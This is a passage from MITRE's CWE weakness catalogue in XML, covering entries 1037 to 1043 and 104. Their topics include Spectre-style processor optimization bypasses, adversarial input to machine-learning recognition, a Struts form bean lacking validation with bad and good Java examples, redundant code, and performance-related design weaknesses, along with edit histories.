               <Modification_Comment>updated Causal_Nature, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Background_Details, Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1037" Name="Processor Optimization Removal or Modification of Security-critical Code" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The developer builds a security-critical protection mechanism into the software, but the processor optimizes the execution of the program such that the mechanism is removed or modified.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1038" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
               <Description>This weakness does not depend on other weaknesses and is the result of choices made by the processor in executing the specified application.</Description>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Rarely"/>
	    <Technology Name="Processor Hardware" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>Optimizations built into the design of the processor can have unintended consequences during the execution of an application.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Low</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Likelihood>High</Likelihood>
               <Note>A successful exploitation of this weakness will change the order of an application's execution and will likely be used to bypass specific protection mechanisms. This bypass can be exploited further to potentially read data that should otherwise be unaccessible.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>White Box</Method>
               <Description>In theory this weakness can be detected through the use of white box testing techniques where specifically crafted test cases are used in conjunction with debuggers to verify the order of statements being executed.</Description>
               <Effectiveness>Opportunistic</Effectiveness>
               <Effectiveness_Notes>Although the mentioned detection method is theoretically possible, the use of speculative execution is a preferred way of increasing processor performance. The reality is that a large number of statements are executed out of order, and determining if any of them break an access control property would be extremely opportunistic.</Effectiveness_Notes>
            </Detection_Method>
         </Detection_Methods>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2017-5715</Reference>
               <Description>Intel, ARM, and AMD processor optimizations related to speculative execution and branch prediction cause access control checks to be bypassed when placing data into the cache. Often known as "Spectre".</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2017-5715</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2017-5753</Reference>
               <Description>Intel, ARM, and AMD processor optimizations related to speculative execution and branch prediction cause access control checks to be bypassed when placing data into the cache. Often known as "Spectre".</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2017-5753</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2017-5754</Reference>
               <Description>Intel processor optimizations related to speculative execution cause access control checks to be bypassed when placing data into the cache. Often known as "Meltdown".</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2017-5754</Link>
            </Observed_Example>
         </Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="663"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-11"/>
            <Reference External_Reference_ID="REF-12"/>
         </References>
	 <Notes>
           <Note Type="Maintenance">As of CWE 4.9, members of the CWE Hardware SIG are closely analyzing this entry and others to improve CWE's coverage of transient execution weaknesses, which include issues related to Spectre, Meltdown, and other attacks. Additional investigation may include other weaknesses related to microarchitectural state. As a result, this entry might change significantly in CWE 4.10.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-03-07</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1038" Name="Insecure Automated Optimizations" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product uses a mechanism that automatically optimizes code, e.g. to improve a characteristic such as performance, but the optimizations can have an unintended side effect that might violate an intended security assumption.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="435" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="758" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
               <Description>This weakness does not depend on other weaknesses and is the result of choices made during optimization.</Description>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>Optimizations built into the design of a product can have unintended consequences during execution.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Low</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Alter Execution Logic</Impact>
               <Note>The optimizations alter the order of execution resulting in side effects that were not intended by the original developer.</Note>
            </Consequence>
         </Common_Consequences>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-03-07</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1039" Name="Automated Recognition Mechanism with Inadequate Detection or Handling of Adversarial Input Perturbations" Abstraction="Class" Structure="Simple" Status="Incomplete">
         <Description>The product uses an automated mechanism such as machine learning to recognize complex data inputs (e.g. image or audio) as a particular concept or category, but it does not properly detect or handle inputs that have been modified or constructed in a way that causes the mechanism to detect a different, incorrect concept.</Description>
         <Extended_Description>
            <xhtml:p>When techniques such as machine learning are used to automatically classify input streams, and those classifications are used for security-critical decisions, then any mistake in classification can introduce a vulnerability that allows attackers to cause the product to make the wrong security decision.  If the automated mechanism is not developed or "trained" with enough input data, then attackers may be able to craft malicious input that intentionally triggers the incorrect classification.</xhtml:p>
            <xhtml:p>Targeted technologies include, but are not necessarily limited to:</xhtml:p>
            <xhtml:ul>
               <xhtml:li>automated speech recognition</xhtml:li>
               <xhtml:li>automated image recognition</xhtml:li>
            </xhtml:ul>
            <xhtml:p>For example, an attacker might modify road signs or road surface markings to trick autonomous vehicles into misreading the sign/marking and performing a dangerous action.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="693" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="697" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
               <Description>This weakness does not depend on other weaknesses and is the result of choices made during optimization.</Description>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>This issue can be introduced into the automated algorithm itself.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Note>When the automated recognition is used in a protection mechanism, an attacker may be able to craft inputs that are misinterpreted in a way that grants excess privileges.</Note>
            </Consequence>
         </Common_Consequences>
         <References>
            <Reference External_Reference_ID="REF-16"/>
            <Reference External_Reference_ID="REF-17"/>
            <Reference External_Reference_ID="REF-15"/>
            <Reference External_Reference_ID="REF-13"/>
            <Reference External_Reference_ID="REF-14"/>
         </References>
         <Notes>
            <Note Type="Relationship">Further investigation is needed to determine if better relationships exist or if additional organizational entries need to be created.  For example, this issue might be better related to "recognition of input as an incorrect type," which might place it as a sibling of CWE-704 (incorrect type conversion).</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-03-12</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="104" Name="Struts: Form Bean Does Not Extend Validation Class" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>If a form bean does not extend an ActionForm subclass of the Validator framework, it can expose the application to other weaknesses related to insufficient input validation.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="573" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="20" View_ID="700" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Background_Details>
            <Background_Detail>In order to use the Struts Validator, a form must extend one of the following: ValidatorForm, ValidatorActionForm, DynaValidatorActionForm, and DynaValidatorForm. One of these classes must be extended because the Struts Validator ties in to the application by implementing the validate() method in these classes. Forms derived from the ActionForm and DynaActionForm classes cannot use the Struts Validator.</Background_Detail>
         </Background_Details>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
               <Note>Bypassing the validation framework for a form exposes the application to numerous types of attacks. Unchecked input is an important component of vulnerabilities like cross-site scripting, process control, and SQL injection.</Note>
            </Consequence>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
               <Note>Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Ensure that all forms extend one of the Validation Classes.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In the following Java example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user information from a registration webpage for an online business site. The user will enter registration data and through the Struts framework the RegistrationForm bean will maintain the user data.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public class RegistrationForm extends org.apache.struts.action.ActionForm {<xhtml:br/>
                     <xhtml:div style="margin-left:1em;">
                        <xhtml:div>// private variables for registration form<xhtml:br/>private String name;<xhtml:br/>private String email;<xhtml:br/>...<xhtml:br/>
                           <xhtml:br/>public RegistrationForm() {<xhtml:div style="margin-left:1em;">super();</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>// getter and setter methods for private variables<xhtml:br/>...</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, the RegistrationForm class extends the Struts ActionForm class which does not allow the RegistrationForm class to use the Struts validator capabilities. When using the Struts framework to maintain user data in an ActionForm Bean, the class should always extend one of the validator classes, ValidatorForm, ValidatorActionForm, DynaValidatorForm or DynaValidatorActionForm. These validator classes provide default validation and the validate method for custom validation for the Bean object to use for validating input data. The following Java example shows the RegistrationForm class extending the ValidatorForm class and implementing the validate method for validating input data.</Body_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {<xhtml:br/>
                     <xhtml:div style="margin-left:1em;">
                        <xhtml:div>// private variables for registration form<xhtml:br/>private String name;<xhtml:br/>private String email;<xhtml:br/>...<xhtml:br/>
                           <xhtml:br/>public RegistrationForm() {<xhtml:div style="margin-left:1em;">super();</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {...}<xhtml:br/>
                           <xhtml:br/>// getter and setter methods for private variables<xhtml:br/>...</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Note that the ValidatorForm class itself extends the ActionForm class within the Struts framework API.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Struts: Form Bean Does Not Extend Validation Class</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Background_Details, Common_Consequences, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Causal_Nature, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Background_Details</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1041" Name="Use of Redundant Code" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product has multiple functions, methods, procedures, macros, etc. that
					contain the same code.</Description>
         <Extended_Description><xhtml:p>This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  For example, if there are two copies of the same code, the programmer might fix a weakness in one copy while forgetting to fix the same weakness in another copy.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="710" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Maintainability</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Merge common functionality into a single function and then call that function from across the entire code base.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In the following Java example the code performs some complex math when specific test conditions are met. The math is the same in each case and the equations are repeated within the code. Unfortunately if a future change needs to be made then that change needs to be made in all locations. This opens the door to mistakes being made and the changes not being made in the same way in each instance.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public class Main {<xhtml:br/>
                     <xhtml:div style="margin-left:1em;">public static void main(String[] args) {
                        <xhtml:div style="margin-left:1em;">double s = 10.0;
                        <xhtml:br/>double r = 1.0;
                        <xhtml:br/>double pi = 3.14159;
                        <xhtml:br/>double surface_area;<xhtml:br/>
                        <xhtml:br/>if(r &gt; 0.0) {
                           <xhtml:div style="margin-left:1em;">// complex math equations
                           <xhtml:br/>surface_area = pi * r * s + pi * Math.pow(r, 2);</xhtml:div>
                        <xhtml:br/>}<xhtml:br/>
                        <xhtml:br/>if(r &gt; 1.0) {
                           <xhtml:div style="margin-left:1em;">// a complex set of math
                           <xhtml:br/>surface_area = pi * r * s + pi * Math.pow(r, 2);</xhtml:div>
                        <xhtml:br/>}</xhtml:div>
                     <xhtml:br/>}</xhtml:div><xhtml:br/>
                  <xhtml:br/>}</xhtml:div>
               </Example_Code>
               <Body_Text>It is recommended to place the complex math into its own function and then call that function whenever necessary.</Body_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>public class Main {<xhtml:br/>
                     <xhtml:div style="margin-left:1em;">private double ComplexMath(double r, double s) {
                        <xhtml:div style="margin-left:1em;">//complex math equations
                        <xhtml:br/>double pi = Math.PI;
                        <xhtml:br/>double surface_area = pi * r * s + pi * Math.pow(r, 2);
                        <xhtml:br/>return surface_area;</xhtml:div>
                     <xhtml:br/>}</xhtml:div><xhtml:br/>
                     <xhtml:div style="margin-left:1em;">public static void main(String[] args) {
                        <xhtml:div style="margin-left:1em;">double s = 10.0;
                        <xhtml:br/>double r = 1.0;
                        <xhtml:br/>double surface_area;<xhtml:br/>
                        <xhtml:br/>if(r &gt; 0.0) {
                           <xhtml:div style="margin-left:1em;">surface_area = ComplexMath(r, s);</xhtml:div>
                        <xhtml:br/>}<xhtml:br/>
                        <xhtml:br/>if(r &gt; 1.0) {
                           <xhtml:div style="margin-left:1em;">surface_area = ComplexMath(r, s);</xhtml:div>
                        <xhtml:br/>}</xhtml:div>
                     <xhtml:br/>}</xhtml:div><xhtml:br/>
                  <xhtml:br/>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCMM">
               <Entry_ID>ASCMM-MNT-19</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-960" Section="ASCMM-MNT-19"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>Drew Buttner</Contribution_Name>
               <Contribution_Date>2022-08-15</Contribution_Date>
               <Contribution_Comment>Suggested new demonstrative examples, mitigations, and applicable platforms.</Contribution_Comment>
            </Contribution>
         </Content_History>
      </Weakness>
      <Weakness ID="1042" Name="Static Member Data Element outside of a Singleton Class Element" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The code contains a member element that is declared as static (but not final), in which
					its parent class element 
					is not a singleton class - that is, a class element that can be used only once in
					the 'to' association of a Create action.</Description>
         <Extended_Description><xhtml:p>This issue can make the product perform more slowly.  If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1176" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Performance</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCPEM">
               <Entry_ID>ASCPEM-PRF-3</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-959" Section="ASCPEM-PRF-3"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1043" Name="Data Element Aggregating an Excessively Large Number of Non-Primitive Elements" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product uses a data element that has an excessively large
					number of sub-elements with non-primitive data types such as structures or aggregated objects.</Description>
         <Extended_Description><xhtml:p>This issue can make the product perform more slowly.  If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.</xhtml:p>
		 <xhtml:p>While the interpretation of "excessively large" may vary for each product or developer, CISQ recommends a default of 5 sub-elements.</xhtml:p>
		 </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1093" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Performance</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCPEM">
               <Entry_ID>ASCPEM-PRF-12</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-959" Section="ASCPEM-PRF-12"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
